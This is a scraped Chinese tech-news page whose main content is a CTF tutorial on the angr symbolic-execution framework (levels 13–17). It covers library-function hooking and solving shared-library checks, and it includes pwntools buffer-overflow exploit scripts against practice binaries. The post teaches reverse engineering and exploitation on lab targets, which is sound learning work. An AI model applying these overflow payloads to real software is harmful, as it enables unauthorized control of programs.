最新要闻
- 【世界速看料】新一代广汽本田皓影官图发布:大嘴变方嘴、可选7座
- 《原神》获TGA“玩家之声”奖!官方发800原石:全体都有
- 世界新动态:一部车骑10年!绿源推出INNO9-lite电动自行车:新国标 80km续航
- 天天快消息!NVIDIA发布527.56显卡驱动程序:DLSS 3游戏性能更强了
- 天天最资讯丨站起来了!哈弗H6插电混动版11月销量首超4000:直逼问界M5
- 东航官宣全球第一架C919商业首飞时间!这7大城市有福了
- 打爆丰田、本田混动SUV 比亚迪护卫舰07上市:20.28万起
- 天天微资讯!换代!AMD锐龙9 7950X3D来了:游戏性能比酷睿i9-13900K高出33%
- 【速看料】全国5G网络接入速率出炉:北京、上海都没抢到第一 移动最快
- 【世界新要闻】上线7年无敌手!《王者荣耀》11月吸金超13亿元:蝉联销冠
- 焦点日报:又拓新业务 比亚迪全新皮卡谍照曝光:DM混动没跑了
- 热点!不掉绒、无静电!史努比牛奶绒床品四件套大促:券后99元
- 天天快讯:一箭十四星 捷龙三号运载火箭首飞发射成功:海陆两用
- 焦点快播:QQ等级全球第一咋做到的?本人回应让网友羡慕:小时候家里开网吧
- 官方“挖墙脚”?网易《逆水寒》宣布推出“网易魔兽老兵服”
- word文档怎么做思维导图?word文档怎么做小抄?
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
angr_ctf——从0学习angr(四):库操作和溢出漏洞利用
angr_ctf项目中后面13~17题没有新的成块的有关angr的知识了,只是对之前题目使用到的模块的扩展和补充,因此就不先列知识点和使用方式了,直接在实战中边讲解边说明
库操作
13_angr_static_binary:静态编译库函数替换
此题的代码与第1题没有区别,但它是静态编译得来的二进制文件,将所有的库函数都写入二进制文件了。
之前在angr_ctf——从0学习angr(三)中对第8题分析时讲到,angr对于库函数只会分出一条路径,而不关心库函数内部是怎样实现的,库函数内部的分支也不会增加angr路径上的分支数量。
(相关资料图)
这个说法是正确的,但是不太严谨,这是因为angr存在一个符号函数摘要集(symbolic function summaries)
在默认情况下angr会使用SimProcedures里面的符号函数摘要集替换库函数,本质上是在库函数上设置了Hooking,这些hook 函数高效地模仿库函数对状态的影响,就像我们之前在第8题中做的那样。因此angr不进入库函数内部的原因在于,它实际上执行的是hook函数,而hook函数只模仿了库函数对状态的影响,实际内部的操作并没有实现,因此也就不会产生额外分支。
Simprocedures是一个两层结构,第一层表示包名,第二层则是函数名:
而此题库函数被静态编译进来了,默认启用的符号函数摘要集作用在动态链接库上,因此此时失效了,在该题中调用的库函数都会进入内部并产生相应的分支,这会大大降低angr的效率。因此此题的目的在于,手动使用符号函数摘要集替换程序中使用到的库函数想要获取某个符号函数摘要集中的函数,可以使用下面的代码:angr.SIM_PROCEDURES["libc"]["scanf"]()
就可以获取libc包中的scanf函数了,它是一个
对于这样的hook函数,可以使用以下两种方式将它hook到目标函数上去:
project.hook(address_of_hooked, angr.SIM_PROCEDURES["libc"]["scanf"]())project.hook_symbol("__isoc99_scanf",angr.SIM_PROCEDURES["libc"]["scanf"]())
一种是传递待hook函数的地址,还有一种是传递函数名。
此外在进入main函数之前,程序会先调用__libc_start_main,它也是库函数,而在创建状态时,如果使用entry_state(),则初始状态就已经经过了__libc_start_main的调用,所以最好也hook掉这个函数,或者使用blank_state手动从main函数开始。
所以此题的解题方式和之前的万能脚本相同,但是需要手动hook一下库函数
angr代码:
import angrimport timeimport claripytime_strat = time.perf_counter()def good(state): tag = b"Good" in state.posix.dumps(1) return True if tag else Falsedef bad(state): tag = b"Try" in state.posix.dumps(1) return True if tag else Falsepath_to_binary = "./dist/13_angr_static_binary"p = angr.Project(path_to_binary, auto_load_libs=False)init_state = p.factory.entry_state()# 手动hook库函数p.hook(0x804ed80, angr.SIM_PROCEDURES["libc"]["scanf"]())p.hook(0x804ed40, angr.SIM_PROCEDURES["libc"]["printf"]())p.hook(0x804f350, angr.SIM_PROCEDURES["libc"]["puts"]())p.hook(0x8048280, angr.SIM_PROCEDURES["libc"]["strcmp"]())p.hook_symbol("__libc_start_main", angr.SIM_PROCEDURES["glibc"]["__libc_start_main"]())simgr = p.factory.simgr(init_state)simgr.explore(find=good, avoid=bad)if simgr.found: solution_state = simgr.found[0] flag = solution_state.posix.dumps(0) print(flag)
14_angr_shared_library:动态链接库的符号执行
这题不是静态编译了,main函数的逻辑也和13题一样,但是用于混淆输入和比较的函数validate是通过动态链接库调用进来的,因此直接逆向查看动态链接库
此题用万能模板也能暴力破解,但为了练习的目的,我们还是对validate进行符号执行,思路如下:
- 模拟validate的函数执行,向它传递参数,参数的类型是一个符号变量
- 用explorer()探索路径,直到validate函数返回前
- 为状态添加约束,即返回值为1(这样在main函数当中,就能够打印出Good),为状态添加约束可以使用solution_state.add_constraints
模拟validate的函数执行,有两种方法,一种是使用blank_state()手动设定起始位置,并通过布置栈来向validate传递参数,代码如下:
init_state = p.factory.blank_state(addr=validate_addr)init_state.regs.ebp = init_state.regs.espinit_state.stack_push(8)init_state.stack_push(password_addr)init_state.stack_push(0)
栈的布置需要了解函数调用约定,这里简单解释一下:
init_state.regs.ebp = init_state.regs.esp
这一句是为了初始化ebp,因为采用blank_state来初始化状态的话,大部分寄存器是没有初始化的,处于一个UNINITIALIZED状态,而esp指向栈顶,是有数值的,在第1行代码后打印ebp和esp,结果为:
- 先push(8)再push(password_addr)
这也是函数调用约定决定的,函数的参数从右向左压入栈中,如果不清楚程序采用了哪种函数调用约定,可以通过main函数中,对validate(password, 8)的调用来决定栈的布局
- 最后push(0)
实际上这里你随便push啥都可以,这个位置是函数的返回地址。需要这一步的原因是由于,函数返回地址的入栈是在main函数中完成的,也就是call _validate这条指令完成的。而我们设定的初始状态是在动态链接库的validate函数的开始处,也就是跳过了返回地址入栈这一步,因此也要还原回去。
上述方法需要对栈和汇编有一定的了解,angr提供了更方便的从函数处开始执行的方式:
init_state = p.factory.call_state(func_addr, param1, param2)
这样就可以在函数func_addr处开始,传递给该函数的参数则是param1,param2,可以在这里传递保存了符号变量的地址和8
最后还需要注意的一点是,动态链接库在加载时需要重定位,可以在建立项目时用load_options设定重定位的基址,就像这样:
p = angr.Project(path_to_binary, auto_load_libs=False, load_options={"main_opts": { "custom_base_addr": base_addr }})
如果不设立基址,通常angr会默认加载到0x400000处,在IDA中看到的各个指令的地址都只是相对地址,需要加上基址才能找到它们
angr脚本如下:
import angrimport claripydef good(state): tag = b"Good" in state.posix.dumps(1) return True if tag else Falsedef bad(state): tag = b"Try" in state.posix.dumps(1) return True if tag else Falsepath_to_binary = "./dist/lib14_angr_shared_library.so"# 设定基址base_addr = 0x400000p = angr.Project(path_to_binary, auto_load_libs=False, load_options={"main_opts": { "custom_base_addr": base_addr }})# validate函数的地址validate_addr = base_addr + 0x6d7init_state = p.factory.blank_state(addr=validate_addr)# 创建符号变量,符号变量保存地址任意,不影响程序运行的地址就行password = claripy.BVS("password", 8 * 8)password_addr = base_addr + 0x5000init_state.memory.store(password_addr, password)# 布置栈空间init_state.regs.ebp = init_state.regs.espinit_state.stack_push(8)init_state.stack_push(password_addr)init_state.stack_push(0)simgr = p.factory.simgr(init_state)simgr.explore(find=base_addr + 0x783)if simgr.found: solution_state = simgr.found[0] # 添加约束并求解,一般函数返回值会保存在eax中,可以通过IDA确认 solution_state.add_constraints(solution_state.regs.eax == 1) print(solution_state.solver.eval(password, cast_to=bytes))else: raise Exception("No solution found")
溢出漏洞利用
15_angr_arbitrary_read
题目逻辑很简单,当key等于418108212时执行puts(s),否则puts(try_again),而s的初始值被设定为try_again。
这里有个漏洞,就是scanf没有限制输入的字符个数,且v4的地址比s更低,因此输入字符的长度超过v4的长度时,就可以覆盖s,我们让无敌的chatGPT来分析分析
还是看出来问题了的,当然chatGPT不知道我们想要输出Good,所以没有说出覆盖s这一点
此外还通过shift+F12在地址484f4a47处找到了字符串Good Job,因此直接掏出pwntools
from pwn import *p = process("./dist/15_angr_arbitrary_read")Good_addr = 0x484f4a47payload = b"41810812" + b"a"*0x10 + p32(Good_addr)p.sendline(payload)p.interactive()
结果如下:
可以看到打印出了Good Job,解题结束。
但又好像没结束,我们是来练习使用angr的,不是来写pwn的。
这题使用angr的解题方式如下:
- 首先肯定是让输入符号化,先把scanf函数hook了再说,这里尽管通过逆向能知道key必须等于41810812,但没必要费劲给key传递一个确定的值,因为求解key==41810812只是一眨眼的事,angr的最大敌人是路径太多。v4的长度应该要能够覆盖s,这样实际上s也是一个符号了。
- 之后会到puts(s)这里,什么样的状态应该是我们的目标状态吗,是让puts打印出Good吗?传递给puts的参数只是一个符号,puts没办法通过一个符号找到字符串,所以必须在执行puts前停下来
- 在puts前停下来如何保证puts能够打印出Good呢?答案是添加约束,让其参数s等于Good的地址。
hook函数的部分不做详细解释,需要注意的是,向一个地址写入字符串时不用管大小端序,也就是不用加上endness=p.arch.memory_endness这个参数。因为尽管字符串的地址在大小端序中的保存方式不同,但是字符串作为一个数组,内部的元素是以大端序保存的,如果当前程序是小端序,添加endness这个参数会导致字符串是反的。
然后,angr在puts前停下时,此时状态对应的地址是多少呢?
在main中,对puts的调用如下
angr是一个基本块一个基本块执行的,因此要么停在0x0804851E要么停在0x08048370,就是不能停在0x08048525这个地址,这个地址不会出现在angr探索的任何一条路径上,因为它不是一个基本块的开始地址。
那么另外两个地址该选哪个呢?0x0804851E处,puts的函数还没有压入栈中,并且puts的参数并不是保存在内存当中的,我们无法获取它在栈中的动态地址,因此只能选0x08048370,然后通过当前状态的esp加上偏移访问参数。
那,偏移是多少?可以看到0x08048370处是jmp指令,此时已经完成了call _puts,也就是说返回地址已经压入栈中了,此时esp应该指向返回地址,所以参数保存在esp + 4当中
angr代码如下:
import angrimport claripypath_to_binary = "./dist/15_angr_arbitrary_read"p = angr.Project(path_to_binary, auto_load_libs=False)init_state = p.factory.entry_state()class Hook(angr.SimProcedure): def run(self, str, key_addr, password_addr): key_bvs = claripy.BVS("key_bvs", 4 * 8) # v4和s相距0x10,再加上s的大小4,一共20个字节 password_addr_bvs = claripy.BVS("password_addr_bvs", 20 * 8) for chr in password_addr_bvs.chop(bits=8): self.state.add_constraints(chr >= "0", chr <= "z") self.state.memory.store(key_addr, key_bvs, endness=p.arch.memory_endness) # 向地址中写入字符串不用关心大小端序 self.state.memory.store(password_addr, password_addr_bvs) self.state.globals["password"] = password_addr_bvsp.hook_symbol("__isoc99_scanf", Hook())def success(state): # 此处应为jmp puts的地址 call_puts_addr = 0x08048370 if state.addr != call_puts_addr: return False good_str_addr = 0x484f4a47 puts_param = state.memory.load(state.regs.esp + 4, 4, endness=p.arch.memory_endness) if state.solver.symbolic(puts_param): cp_state = state.copy() cp_state.add_constraints(puts_param == good_str_addr) # 判断当前状态是否有解,有解就说明找到了目标状态 if cp_state.satisfiable(): state.add_constraints(puts_param == good_str_addr) return True else: return False else: return Falsesimgr = p.factory.simgr(init_state)simgr.explore(find=success)if simgr.found: solution_state = simgr.found[0] s = solution_state.solver.eval(solution_state.globals["password"], cast_to=bytes) print(s)else: raise Exception("No solution found")
此外对于这段代码:
if state.solver.symbolic(puts_param): cp_state = state.copy() cp_state.add_constraints(puts_param == good_str_addr) # 判断当前状态是否有解,有解就说明找到了目标状态 if cp_state.satisfiable(): state.add_constraints(puts_param == good_str_addr) return True else: return False else: return False
创建一个复制的状态是为了不影响当前状态,如果当前状态还需要进一步执行才能达到目标状态,而你在判断当前状态是否为目标状态时增加了约束,可能会导致错误。
这段代码有一个更简便的写法:
if state.satisfiable(extra_constraints=(is_vulnerable_expression, )): state.add_constraints(is_vulnerable_expression) return Trueelse: return False
在使用satisfiable判断当前状态是否有解时,可以使用extra_constraints添加约束,该约束会跟随状态一起判断是否有解,但该约束不会写入到状态当中。
16_angr_arbitrary_write
和15题一模一样,就不解释了
17_angr_arbitrary_jump:挟持函数控制流
第17题,先逆向,发现捞的很
一个典中典之scanf("%s"),栈溢出,发现还有一个print_good函数,那么依然是不解释连招
from pwn import *p = process("./dist/17_angr_arbitrary_jump")payload = b"a" * 0x20 + p32(0xdeadbeef) + p32(0x42585249)p.sendline(payload)p.interactive()
但是我们得用angr来解。
这题的目的是获取一个输入,这个输入能够让某个state的eip变成想要的值,也就是控制程序的控制流。那么就意味着我们要让eip变成某个符号变量,然后求解这个符号变量
eip都变成符号变量了,那么程序该如何执行下一条指令呢?angr对于这种情况,一般会将state放到unconstrained这个stash中,有关stash的介绍可见angr_ctf——从0学习angr(一)。这个stash中的state会被angr默认丢弃以增加效率,而现在我们需要这个stash里面的state。可以在创建SM时保存,就像这样:
simgr = p.factory.simgr(init_state, save_unconstrained=True)
处于unconstrained中的state,如果它在eip等于目标地址(也就是print_good的地址)时,能够有解(满足state.satisfiable为真),这样的状态就是目标状态了,可以将它放入到found这个state中,stash中state的转移也可以参考第一篇内容。
angr在执行时,每次进入新的路径就会有新的state,为了判断这个state是否符合要求,这次不用explorer自动探索了,我们采用step单步执行,然后获取state进行判断。
angr代码如下:
import angrimport claripy# 下一条指令是print_good的情况下有解的state符合条件def filter_func(state): print_good_addr = 0x42585249 return state.satisfiable( extra_constraints=(state.regs.eip == print_good_addr, ))path_to_binary = "./dist/17_angr_arbitrary_jump"proj = angr.Project(path_to_binary)class SimScanfProcedure(angr.SimProcedure): def run(self, fmtstr, input_addr): input_bvs = claripy.BVS("input_addr", 200 * 8) for chr in input_bvs.chop(bits = 8): self.state.add_constraints(chr >= "0", chr <= "z") self.state.memory.store(input_addr, input_bvs) self.state.globals["input_val"] = input_bvsproj.hook_symbol("__isoc99_scanf", SimScanfProcedure())init_state = proj.factory.entry_state()# 不丢弃unconstrained中的statesimgr = proj.factory.simgr(init_state, save_unconstrained=True, stashes={ "active": [init_state], "unconstrained": [], "found": [], })while not simgr.found: # 如果没有可执行的state,或者没找到unconstrained的state,就退出 if (not simgr.active) and (not simgr.unconstrained): break # 把符合filter_func的unconstrained转移到found中 simgr.move(from_stash="unconstrained", to_stash="found", filter_func=filter_func) simgr.step()if simgr.found: solution_state = simgr.found[0] print_good_addr = 0x42585249 solution_state.add_constraints(solution_state.regs.eip == print_good_addr) input_val = solution_state.solver.eval(solution_state.globals["input_val"], cast_to=bytes) print("password: {}".format(input_val))else: raise Exception("Could not find the solution!")
angr_ctf——从0学习angr(四):库操作和溢出漏洞利用
【世界速看料】新一代广汽本田皓影官图发布:大嘴变方嘴、可选7座
《原神》获TGA“玩家之声”奖!官方发800原石:全体都有
世界新动态:一部车骑10年!绿源推出INNO9-lite电动自行车:新国标 80km续航
天天快消息!NVIDIA发布527.56显卡驱动程序:DLSS 3游戏性能更强了
天天最资讯丨站起来了!哈弗H6插电混动版11月销量首超4000:直逼问界M5
焦点速递!CSS绝对定位7大应用场景实战案例分享
教你用CSS实现表单部件
环球热议:物联网平台在AIoT领域8大场景应用
东航官宣全球第一架C919商业首飞时间!这7大城市有福了
打爆丰田、本田混动SUV 比亚迪护卫舰07上市:20.28万起
天天微资讯!换代!AMD锐龙9 7950X3D来了:游戏性能比酷睿i9-13900K高出33%
【速看料】全国5G网络接入速率出炉:北京、上海都没抢到第一 移动最快
【世界新要闻】上线7年无敌手!《王者荣耀》11月吸金超13亿元:蝉联销冠
观点:MYSQL 1 DAY
世界微速讯:智能PDU,网络远程管理电源能耗提升配电效率
当前滚动:“云办公”如何用任务协同工具搞定项目和团队管理?
今日聚焦!SSM整合(spring-springmvc-mybatis)之CRUD
焦点日报:又拓新业务 比亚迪全新皮卡谍照曝光:DM混动没跑了
热点!不掉绒、无静电!史努比牛奶绒床品四件套大促:券后99元
天天快讯:一箭十四星 捷龙三号运载火箭首飞发射成功:海陆两用
焦点快播:QQ等级全球第一咋做到的?本人回应让网友羡慕:小时候家里开网吧
官方“挖墙脚”?网易《逆水寒》宣布推出“网易魔兽老兵服”
资讯:vscode使用chatGPT
全球滚动:我与 ChatGPT 讨论了面向对象语言 中,关于动态调用的问题
快播:第三方登录组件-JustAuth
【环球报资讯】BI智慧仓储,带你体验数字化仓储物流管理
环球今亮点!把ipa文件上传到App Store教程步骤
每日热讯!易基因:简化甲基化测序(RRBS)在植物生态表观基因组学中的机遇和局限|深度综述
当前聚焦:记.net framework php接口 返回数据格式问题 请求接口远程服务器返回错误: (500) 内部服务器错误
ChatGPT 大白话 SmartIDE
Zabbix与乐维监控对比分析(三)——对象管理篇
全球报道:专访|开源之夏最佳质量奖 Apache RocketMQ Committer 黄章衡
世界热消息:.net6制作让同事不能上网的arp欺骗工具
每日热门:如何利用 A/B 实验提升产品用户留存? 看字节实战案例给你答案!
chatGPT辣么火,你却不会注册
每日速讯:2022最新上传ipa到appstore的步骤说明
怎么在电脑上查看iPhone定位?iphone定位不准怎么校正?
怎么验证windows是不是正版?验证windows正版的方法有哪些?
光大银行信用卡额度一般是多少?光大银行信用卡怎么查询进度?
银行卡号泄露有危险吗?银行卡号泄露挂失有用吗?
空调怎么省电?空调省电的正确用法有哪些?
word文档怎么做思维导图?word文档怎么做小抄?
宏碁4750g怎么进入bios?宏碁4750G需要哪些驱动?
电视机顶盒怎么破解?电视机顶盒哪个牌子好用?
诺基亚710上市价格是多少?诺基亚710手机现在能用吗?
天然气热值是多少大卡?天然气热值换算表
环球热议:行为管理(锐捷业务软件篇)
焦点报道:直播间疯狂刷礼物可能是在洗钱:网络水军用千部手机给主播打赏 最多刷10亿元
国产操作系统deepin推送20.8版本:wine应用开启速度获得提升
联想PC小新桌面助手上线:实用性堪比手机控制中心
无叶无根无枝条的花你见过没?曾消失30年:开败后就变黑
世界今亮点!《原神》《幻塔》都败了!《MARVEL SNAP》摘得TGA 2022年度最佳手游
【全球速看料】BI智慧仓储行业应用方案,让你的仓储物流不再复杂
【全球播资讯】RTX 3050加持 联想轻薄旗舰本小新Pro 16史低价:5799元
【聚看点】特斯拉左转失控 车主称刹车和方向盘突然变硬:官方售后回应尴尬
观热点:海外经销商顶不住:RTX 4080英国又降价 轻松降近900元还会继续
焦点播报:首批车主反馈良好!恒驰汽车回应停工停产传闻:恒驰5按计划交付
即时焦点:谷歌Chrome浏览器新模式上线:最多可减少30%内存占用
每日消息!2岁就给爹打工 马斯克给儿子发了一张工牌
世界球精选!《仙剑奇侠传七》更新2.0版本:体积直接减半 内存、显存占用更低
振奋!全球首架C919今日交付中国东方航空:大家啥时候能坐上国产大飞机?
真实感渲染:变换(二维与三维)
老年人到底要不要打新冠疫苗?怎么打?一文说清
世界实时:对称加密
信息:CSS相对定位3大应用场景5个实战应用案例详解
今日最新!FreeSWITCH学习笔记:系统架构
Redis主从复制,哨兵模式和集群模式
漏洞预警:宝塔面板疑似出现高危漏洞
看不上油改电 要不来看看电改油?3000公里不用充电
友商旗舰陆续发布 产品经理:小米13毫无压力
焦点热文:支付宝可以绑境外银行卡了:4步搞定 直接扫码
世界快消息!SpringBoot中统一日志管理
MAUI新生3.5-深入理解XAML:行为Behavior
动态焦点:人工智能ChatGPT被玩坏了
世界百事通!卖不动车后 特斯拉上海工厂最新现状:闲下来了
天天速看:激光投影成了香饽饽!第三季度市场出货量17.5万台
苹果感受下!宋紫薇道出环保真谛:都用一套充电器才是真环保
直播两大奇观上演:火星冲日巧遇火星伴月 下次这么亮得等2033年
年薪90万 却起诉公司太无聊:每天上班只能摸鱼
全球今热点:JIT 即时编译 (史上最全)
喜大普奔!欧盟要求统一使用Type-C时间确定:苹果iPhone必须要换USB-C
被批沉闷 影迷吐槽矫情!《阿凡达2》首映后好评率超95% 首选必看IMAX 3D版
热点!卢伟冰:电竞手机注定要消亡
既是口罩又能降噪听歌!戴森发布空气净化耳机Dyson Zone:中国网友狂吐槽
天天快报!镜头可伸缩!传音发布Tecno Phantom X2系列新机
SK海力士研发全球最快内存:超越DDR5-4800 80%!
环球短讯!小米13多次被偷跑 法务“好心”提醒:可判3-10年
12代i7售价过万!传音推出Tecno MegaBook S1笔记本
看点:印度推首款黄金ATM机 插卡取金币的机子你用过吗?
【全球时快讯】俩孩童遇电梯迫降从16楼坠至1楼:万幸平安无事
排面!小刀电动车成芜湖官方指定用车:渔政、城管都在用
Model-Agnostic Meta-Learning (MAML) 理解
当前焦点!用HTML CSS 实现简洁美观的时间线(历史年表)
世界快资讯丨Win7/8.1再见了!前两大浏览器Chrome和Edge最新版均已放弃支持
环球关注:纯洁的曲线之美:索泰发布RTX 40 AMP月白显卡
环球即时:绿源、松果牌部分电动自行车召回 原因均是后尾灯反光
记录--微信小程序获取用户信息(附代码、流程图)
天天快看:13 Javac将源码编译为字节码的过程
每日精选:数据安全新战场,EasyMR为企业筑起“安全防线”